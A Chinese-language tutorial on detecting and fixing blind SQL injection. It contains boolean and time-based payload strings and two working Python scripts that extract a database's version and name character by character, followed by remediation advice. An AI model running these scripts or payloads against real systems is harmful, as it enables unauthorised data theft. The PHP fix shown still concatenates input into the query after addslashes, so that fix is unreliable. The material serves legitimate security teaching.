SQL盲注属于SQL注入的特殊类型,当应用不会直接返回注入语句的执行结果,仅能通过页面响应状态、响应时间等间接信息判断注入是否成功时,就会产生这类漏洞。攻击者通常会结合时间延迟和布尔逻辑两种方式完成数据窃取,开发者需要掌握对应的识别与修复方法。

SQL盲注的核心原理
普通SQL注入可以直接在页面返回数据库查询结果,而SQL盲注场景下,应用会对错误信息进行屏蔽,或者查询逻辑不会直接输出数据内容。此时攻击者需要构造特定的注入语句,通过两种间接方式验证注入效果:
- 布尔逻辑验证:构造真假条件,观察页面返回内容是否存在差异,比如正常查询返回列表,假条件返回空内容。
- 时间延迟验证:在注入语句中加入数据库延时函数,通过页面响应时间是否增加判断条件是否成立。
利用布尔逻辑识别SQL盲注漏洞
识别场景示例
假设某登录接口的查询语句为SELECT * FROM users WHERE username = '$user' AND password = '$pass',如果应用对错误输入仅返回登录失败的提示,没有详细报错,就可能存在布尔型盲注。
验证步骤
我们可以构造不同的用户名参数进行测试:
- 输入用户名为
admin' AND 1=1 --,如果返回正常登录失败提示,说明条件为真时页面无异常。 - 输入用户名为
admin' AND 1=2 --,如果返回内容和前者完全一致,说明不存在布尔差异,不存在盲注。 - 如果两次返回内容不同,比如前者返回登录失败,后者返回用户不存在,就说明可以通过布尔条件判断注入结果。
布尔盲注测试代码示例
以下是模拟布尔盲注判断数据库版本首字符的Python测试代码:
import requests
target_url = "http://127.0.0.1/login"
result = ""
# 假设数据库版本信息长度不超过10
for i in range(1, 11):
for char_code in range(32, 127):
# 构造布尔条件,判断版本字符串第i位是否为当前字符
payload = f"admin' AND SUBSTRING(@@version, {i}, 1) = CHAR({char_code}) -- "
data = {"username": payload, "password": "test"}
response = requests.post(target_url, data=data)
# 如果返回内容包含登录失败标识,说明条件成立
if "登录失败" in response.text:
result += chr(char_code)
print(f"当前已获取版本信息:{result}")
break
else:
break
print(f"最终数据库版本:{result}")
利用时间延迟识别SQL盲注漏洞
识别场景示例
如果应用对布尔条件的响应没有差异,攻击者就会转向时间延迟注入。比如在MySQL数据库中,可以使用SLEEP()函数触发延时。
验证步骤
同样以登录接口为例,构造如下用户名参数:
- 输入
admin' AND SLEEP(5) --,如果页面响应时间比正常请求多5秒左右,说明注入语句被执行,存在时间盲注。 - 输入
admin' AND IF(1=2, SLEEP(5), 0) --,如果响应时间无变化,说明条件为假时不会触发延时,进一步验证注入可控性。
时间盲注测试代码示例
以下是模拟时间盲注获取数据库名称的Python测试代码:
import requests
import time
target_url = "http://127.0.0.1/login"
db_name = ""
# 假设数据库名长度不超过20
for i in range(1, 21):
for char_code in range(32, 127):
# 构造时间延迟条件,判断库名第i位是否为当前字符
payload = f"admin' AND IF(SUBSTRING(DATABASE(), {i}, 1) = CHAR({char_code}), SLEEP(3), 0) -- "
data = {"username": payload, "password": "test"}
start_time = time.time()
requests.post(target_url, data=data)
end_time = time.time()
# 如果响应时间超过3秒,说明条件成立
if end_time - start_time > 3:
db_name += chr(char_code)
print(f"当前已获取数据库名:{db_name}")
break
else:
break
print(f"最终数据库名:{db_name}")
SQL盲注漏洞的修复方案
使用预编译语句
预编译语句可以将SQL逻辑和数据参数分离,数据库不会对参数内容做SQL语法解析,从根源上避免注入问题。以下是Java中使用预编译的示例:
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
public class UserLogin {
public boolean login(Connection conn, String username, String password) throws Exception {
// 使用?作为占位符,预编译SQL
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = conn.prepareStatement(sql);
// 设置参数,参数会被自动转义处理
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
return rs.next();
}
}
严格过滤输入参数
如果无法使用预编译,需要对用户输入的特殊字符进行转义,同时限制参数的类型和格式。比如用户名只允许字母数字,就直接做正则校验:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
// 只允许字母数字的用户名,长度1-20
if (!preg_match('/^[a-zA-Z0-9]{1,20}$/', $username)) {
die("用户名格式错误");
}
// 对特殊字符进行转义
$username = addslashes($username);
$password = addslashes($password);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// 执行查询逻辑
?>
最小化数据库权限
给应用使用的数据库账号只分配必要的查询、插入权限,禁止使用root等高级权限账号,即使出现注入,也能限制攻击者能执行的操作范围,降低数据泄露风险。
关闭错误回显
生产环境不要返回数据库原始错误信息,统一返回通用的错误提示,避免攻击者通过错误信息判断数据库类型和表结构,增加盲注的攻击难度。
漏洞验证注意事项
测试SQL盲注漏洞时,需要在合法授权的环境下进行,不要对未授权的系统发起测试。同时时间延迟测试要注意控制延时时长,避免对目标服务造成性能影响,布尔测试也要避免频繁请求触发防护策略。